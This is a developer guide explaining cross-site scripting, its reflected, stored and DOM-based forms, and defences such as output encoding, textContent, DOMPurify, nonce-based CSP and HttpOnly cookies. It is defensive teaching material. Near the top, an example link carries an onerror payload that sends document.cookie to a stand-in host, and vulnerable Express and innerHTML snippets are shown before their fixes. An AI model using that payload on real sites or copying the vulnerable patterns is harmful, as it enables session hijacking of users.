XSS (cross-site scripting) is an attack where a website includes attacker-controlled text in a page without escaping it, so the victim's browser runs it as JavaScript with the site's full privileges. The fix is to encode every untrusted value for the place it is inserted, use safe DOM APIs such as textContent instead of innerHTML, and add a Content Security Policy as a second layer.
The browser cannot tell the site's own scripts from injected ones. Once a script runs in your page, it can read what the user sees, send requests as the user and change the page.
What an XSS attack looks like
Here is a search page that prints the query back into the HTML. This Express handler is vulnerable:
app.get("/search", (req, res) => {
res.send(`<h1>Results for ${req.query.q}</h1>`);
});
A normal visitor searches for shoes. An attacker sends the victim a link instead:
https://shop.example/search?q=<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">
The server pastes that string into the page, the browser parses it as an image tag, the image fails to load, and the onerror handler runs on shop.example. OWASP calls disclosure of the user's session cookie the most severe common outcome, because it lets the attacker take over the session.
The three types of XSS
| Type | Where the payload lives | How the victim gets hit | Example |
|---|---|---|---|
| Reflected | In the request (URL, form field) | Clicks a crafted link | Search page or error message that echoes input |
| Stored | Saved on the server (database) | Just views the page | Comment, profile name, support ticket |
| DOM-based | Never reaches the server's HTML; client-side JavaScript writes it into the page | Clicks a link or visits a page | Code that copies location.hash into innerHTML |
Stored XSS is usually the worst: one payload in a comment runs for everyone who opens the page. OWASP also describes "blind" XSS, a stored payload that fires later in a back-office tool such as an admin panel, where the attacker never sees it run.
DOM-based XSS: the innerHTML trap
A lot of modern XSS happens entirely in front-end code. For example:
// Vulnerable: treats the URL fragment as HTML
document.getElementById("greeting").innerHTML = "Hello " + decodeURIComponent(location.hash.slice(1));
A common belief is that innerHTML is safe because a <script> tag inserted that way does not run. MDN confirms the first half and kills the conclusion: the property "does prevent <script> elements from executing", but an <img src='x' onerror='alert(1)'> string assigned to innerHTML still shows the alert. Event-handler attributes are enough.
The fix is one word:
// Safe: the text is never parsed as HTML
document.getElementById("greeting").textContent = "Hello " + decodeURIComponent(location.hash.slice(1));
The OWASP cheat sheet lists the sinks to avoid with untrusted data: innerHTML, outerHTML, document.write, eval(), and string arguments to setTimeout() and setInterval(). Safe alternatives include textContent, value, document.createTextNode() and setAttribute() with a fixed, harmless attribute name.
How to prevent XSS
1. Encode output for its context
The core defence is escaping at the moment you insert data, using the rules for that exact spot. The same value needs different handling in each place:
| Where the value goes | What to do |
|---|---|
| HTML body text | HTML-entity encode (< becomes <) |
| HTML attribute | Entity encode and always quote the attribute value |
| Inside JavaScript | Avoid if possible; otherwise use a maintained JavaScript encoder, or pass data via a data- attribute or JSON |
| URL query value | Percent-encode with encodeURIComponent(); validate whole URLs (reject javascript:) |
| CSS | Only ever in a property value, never as selectors or whole rules |
You can see entity encoding with Python's standard library. Example output:
>>> import html
>>> html.escape('<script>alert(1)</script>')
'<script>alert(1)</script>'
>>> html.escape('" onmouseover="alert(1)')
'" onmouseover="alert(1)'
The second line shows why attributes must be quoted and encoded: an unescaped double quote would close the attribute and let the attacker add their own event handler.
2. Let your framework escape, and watch the escape hatches
Template engines and front-end frameworks escape {{ value }}-style output by default. The bugs live in the functions that switch that off. OWASP names React's dangerouslySetInnerHTML, Angular's bypassSecurityTrustAs* functions and Lit's unsafeHTML. Vue's v-html does the same thing. Search your codebase for these names; every hit needs a reason and a sanitizer.
3. Sanitize when users really must submit HTML
Rich-text comments and WYSIWYG editors need some HTML to survive. For that case OWASP recommends DOMPurify, run right before rendering, and kept up to date. Don't write your own tag filter with regular expressions: there are too many ways to spell an event handler.
4. Add a Content Security Policy
A CSP tells the browser which scripts it may run. MDN's strict, nonce-based example:
Content-Security-Policy:
script-src 'nonce-{RANDOM}';
object-src 'none';
base-uri 'none';
The server generates a new random nonce for every response and puts it on each legitimate <script nonce="..."> tag. Injected inline scripts don't have the nonce, so they are blocked, and per MDN inline event handlers such as onerror and javascript: URLs are blocked too. Avoid 'unsafe-inline'; it switches most of that protection off. Both OWASP and MDN are clear that CSP is a second layer, not a replacement for encoding: "Websites should sanitize input and set a CSP."
5. Limit the blast radius
Mark session cookies HttpOnly. MDN: it "forbids JavaScript from accessing the cookie", which blocks the document.cookie theft in the example above. It does not stop the script from running or from making requests as the user, because the browser still attaches the cookie to fetch() calls the script makes.
How to test your own site for XSS
Only test sites you own or are authorised to test. A harmless probe is a string with the characters that matter: "'<b>x. Put it into every input, URL parameter and fragment, then view the page source and the live DOM in developer tools:
- If you see
<b>in the source and a literal<b>xon screen, that spot is encoded. - If the following text turns bold, the value was inserted as HTML. That is an XSS bug even if a
<script>test did nothing. - Check where the same value is shown later, for example in an admin list or an email preview. Stored and blind XSS appear there.
If XSS keeps coming back
Recurring XSS almost always traces back to string-building HTML by hand, or to one helper that calls innerHTML and gets reused everywhere. Replace those with templates that escape by default, ban the raw-HTML APIs in code review, and add a CSP in report-only mode first (Content-Security-Policy-Report-Only) to find what would break. XSS also defeats CSRF protection, so fix it first; see what CSRF is for the other half of the pair. If your problem is a browser blocking a cross-origin request rather than an attack, that is a different mechanism: CORS errors explained.
Frequently asked questions
- What is the difference between XSS and CSRF?
- XSS runs the attacker's JavaScript inside your site, in the victim's browser, so it can read the page and act as the user. CSRF never runs code on your site; it makes the victim's browser send a request to your site from somewhere else, relying on cookies being attached automatically. XSS is the more powerful of the two: OWASP notes that XSS can defeat all CSRF defences.
- Does HttpOnly stop XSS?
- No. HttpOnly stops JavaScript from reading a cookie through document.cookie, which blocks the classic session-cookie theft. The injected script still runs and can still make requests as the user, because the browser attaches HttpOnly cookies to those requests. It limits the damage; it does not prevent the attack.
- Do React, Angular and Vue prevent XSS?
- They escape values you render through normal template syntax, which removes the most common bug. They do not protect the escape hatches: React's dangerouslySetInnerHTML, Angular's bypassSecurityTrustAs functions and Vue's v-html insert raw HTML. Anything passed to those must be sanitized first, for example with DOMPurify.
- Is input validation enough to stop XSS?
- Validation helps but is not the fix. The same string can be safe in one place and dangerous in another, so the reliable defence is encoding output for the exact context where it is inserted (HTML body, attribute, JavaScript, URL), plus a Content Security Policy as a second layer.
Sources
- OWASP: Cross Site Scripting (XSS)
- OWASP Cheat Sheet: Cross Site Scripting Prevention
- MDN: Element.innerHTML (security considerations)
- MDN: Content Security Policy (CSP)
- MDN: Set-Cookie (HttpOnly)
- MDN: Content-Security-Policy-Report-Only
- Vue.js docs: Security (v-html)
- OWASP Cheat Sheet: Cross-Site Request Forgery Prevention